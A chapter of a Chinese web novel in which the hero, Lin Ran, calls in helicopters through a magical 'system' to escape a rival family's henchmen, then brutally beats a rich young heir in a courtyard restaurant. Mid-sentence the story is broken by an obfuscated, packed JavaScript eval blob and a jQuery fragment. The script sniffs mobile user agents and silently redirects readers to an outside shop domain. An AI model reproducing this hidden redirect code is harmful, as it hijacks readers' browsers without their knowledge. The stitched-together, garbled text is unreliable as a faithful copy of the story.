听到林然要包直升机,穿着唐装的管家没忍住,“扑哧”一声笑了出来。
他理了理身上的衣服,像看个傻子一样看着林然,皮笑肉不笑的说:“林总,你是不是还没睡醒?你以为这是在你们那个小小的东海市呢?这可是京城!”
管家指了指头顶的天空:“京城的上空,那是有着严格的航线管制的。哪怕是一只鸟飞过去,也得是有记录的。别说是包直升机,你就是想放个风筝,都得先问问同不同意。东海来的土老板就是天真,以为有两个臭钱就能在京城横着走?在这儿,你的钱就是废纸。”
站在一旁的苏媚抱着胳膊,靠在通道的柱子上。她踩着高跟鞋,故意往前凑了一步。
“哎哟,小学弟,管家这话虽然难听,但也是实话呀。”苏媚阴阳怪气的刺激林然,一双桃花眼死死盯着他,“在京城砸钱可是没用的哦。这里水深得很,不是你这种小孩子能玩转的。姐姐劝你,还是乖乖低个头,去住那个地下室吧。认个怂不丢人,总比在这儿死要面子强。”
林然连正眼都没看苏媚,更没搭理那个鼻孔朝天的管家。
他双手插在洗得发白的卫衣兜里,直接在脑海里叫了系统。
“系统,打开高级商业蓝图。”林然心里下达指令,“直接调取京城所有的隐藏资源权限。给我联系全京城最顶级的通航公司。不差钱,给我拿钱砸。”
脑子里响起电子音。
“叮!高级商业蓝图权限已确认,资源调用中……”
“联系完毕,航线特批申请已通过。三架重型民用直升机已起飞,预计到达时间:十分钟。”
听到脑海里的声音,林然掏出手机,看了一眼时间。
“行,你们等十分钟。”林然淡淡的说了一句。
管家嗤笑出声:“等十分钟?林总,你就在这等十个小时也没用。没有楚董的点头,京城没人敢接你的单子。”
不到十分钟。
天边突然传来一阵沉闷的轰鸣声。
“轰轰轰——”
声音从远到近,越来越大,震得机场出站口玻璃上的灰尘都往下掉。
管家愣了一下,抬头看去。
三架涂装着迷彩的重型民用直升机,直接出现在了机场广场的上空!
直升机根本没理会地面的指挥,硬生生的降下了高度,直接悬停在迈巴赫车队的上方。
狂风骤然卷起。
螺旋桨掀起了巨大的风压。
管家原本梳的油光水滑的头发,被吹成了乱糟糟的鸟窝。他那身定制的唐装被风刮的呼啦作响,吹得他连眼睛都睁不开,只能用手死死捂着脸往后退。
那几十个刚刚还嚣张的黑衣保镖更惨。他们站都站不稳,被风压吹的东倒西歪,阵型大乱。有几个体格轻的,直接被吹的摔了个狗吃屎,狼狈不堪的在地上打滚。
直升机的舱门打开。
张大海一只手拎着一个巨大的行李箱,两百斤的肉山灵活的像只猴子,三两步就跳上了直升机。
他站在舱门边,低头看着底下那些连站都站不稳的人,脸上的横肉笑成了一团。
“底下的孙子们!看清楚没!”张大海扯着嗓子大吼,对着底下的管家高高竖起了一个巨大的中指,“回去告诉你们那个楚家老不死的,老子嫌你们的破车太慢了!爹先走一步,你们自己留在这里吃尾气吧!”
林然没废话,他一把抓住顾清颜的手,把还在发愣的她拽上了直升机。
陈老伯背着手,慢悠悠的跟在后面踩上踏板。
“关门。”林然说。
舱门重重关上,直升机拉升高度,扬长而去。
机场广场上,只留下一地被风压吹断的横幅和四处乱滚的广告牌,还有一群呆若木鸡、灰头土脸的企龙集团保镖。管家看着天上越来越小的黑点,气得直发抖。
京城,企龙集团总部顶层。
楚建国听着管家打来的电话,脸色铁青。
“砰!”
这位京圈大佬抡起手里的一根定制高尔夫球杆,直接砸在办公室里最名贵的一个清代青花瓷花瓶上。
花瓶碎成了一地残渣,碎片飞溅。
“飞走了?你们几十个人,十几辆车,把路都给封了,居然就这么看着他坐直升机飞走了!”楚建国对着电话咆哮,震得电话那头的管家耳膜发疼,“一群没用的饭桶!我养你们有什么用!去查!马上给我去查到底是哪家通航公司吃了熊心豹子胆敢接他的单!要让那个林然在这京城寸步难行!”
视线转回半空。
三架直升机根本没去什么五星级酒店。
直升机直接飞向了京城最核心商业区,最后降落在一处独栋四合院外的空地上。
这里是林氏财团早年花重金在京城买下的落脚点,平时不对外开放,只作为高层的私房菜馆和秘密据点。
一行人下了直升机,推开四合院厚重的大门。
院子里的服务员和经理早就等在门口,满头大汗。
“林总,对不起,我们没拦住……包厢里面进人了。”经理弓着腰,连话都不敢大声说。
林然脚步都没停,理都没理他,带着人直接走向最里面那个最大的豪华包厢。
“砰。”
林然一脚踹开包厢的门。
刚一进去,大家都愣住了。
主位上竟然坐着一个流里流气的年轻人。这人穿着一身浮夸的花衬衫,头发染成了刺眼的奶奶灰,正左拥右抱搂着两个网红,在那喝着红酒。
他是京城四少之一的赵公子。今天这四合院他路过觉得不错,偏要进来吃饭,院子里的保安根本不敢拦他。
听到踹门声,赵公子连眼皮都没抬。
他吐出一口浓浓的烟圈,把两只穿着尖头皮鞋的脚,直接嚣张的搭在了那张金丝楠木餐桌上。
他转过头,上下打量了林然几眼,嗤笑了一声。
“你就是那个从东海来的暴发户林然?”赵公子语气里全是鄙视,“穿个洗发白的破卫衣就敢出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740311|209013||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来乱跑,也不嫌丢人。你们东海市的人都这么穷酸吗?”
赵公子手指夹着雪茄,随便指了指门外。
“听说这院子是你的?不过现在本公子看上了。限你们三分钟,马上从我眼前滚出去。”赵公子靠在椅子上,狂妄的说,“要不然,我让你们在这京城,连今晚都活不过去。”
林然看着他搭在餐桌上的那双皮鞋。
他走过去,直接顺手抄起桌上那瓶还没开封的拉菲红酒。
他举起酒瓶,二话不说。
“砰!”
林然照着赵公子的奶奶灰脑袋,狠狠的砸了下去!
酒瓶爆裂,红色的酒液混着玻璃碎渣和鲜血,顺着赵公子的头发直接流了他一脸。
“啊!”两个网红吓得尖叫起来,脸色惨白,连滚带爬的躲到了墙角,瑟瑟发抖。
赵公子被这一下直接砸懵了。他捂着流血的脑袋,嚎叫起来,整个人从椅子上滑到了地上:“**敢打我!你知道我是谁吗!给我上!给我弄死他!”
站在包厢两侧的八个贴身保镖这才反应过来。
他们拔出腰间的电击棍。棍子上闪着刺眼的蓝色电弧,发出“噼里啪啦”的声音。八个壮汉咆哮着朝林然扑了过去。
林然站在原地,手里还拿着半截碎玻璃瓶,连眼皮都没抬一下。
陈老伯冷笑了一声。
这位武道宗师连手都没从长布衫的袖口里伸出来。
这穿着旧布鞋的老头右脚往前一踏,脚尖精准的挑起旁边的一张实木圆凳。
“滚**!”陈老伯吼了一声,凌空一脚,狠狠踹在圆凳上。
那张几十斤重的实木圆凳,呼啸着飞了出去。
“砰!”
凳子不偏不倚,重重的砸在最前面那个保镖的胸口上。
那个一米九的壮汉连惨叫都没来得及发出来,整个人倒飞出去。
“哐当!”
保镖巨大的身躯直接撞碎了包厢厚厚的木格窗户,连人带木头一起飞出窗外,重重的砸进了院子的池塘里,扑腾了两下就晕死过去没动静了。
剩下的七个保镖看到这一幕,吓得停在原地,浑身冷汗,死死握着电击棍,根本不敢再往前迈出半步。
林然随手把手里剩下的半截酒瓶扔在地上。
他走上前,抬起脚,那双洗得发白的休闲鞋,直接踩在了赵公子满是鲜血的脸上,用力碾了碾。
“这院子我看上了。”林然低头看着他,声音很冷,“给你三秒钟,带着你的狗,滚出去。”
苏媚一直站在包厢门口。
她看着踩在赵公子脸上的林然,又看了看旁边那个深藏不露的老头,眼神里多了些别的东西。
她转过身,背对着众人,偷偷从包里掏出一个加密手机。
手指在屏幕上敲击,她按下了发送键,发了一条短信出去。
短信内容只有几个字:“林氏已入局,比想象中疯。”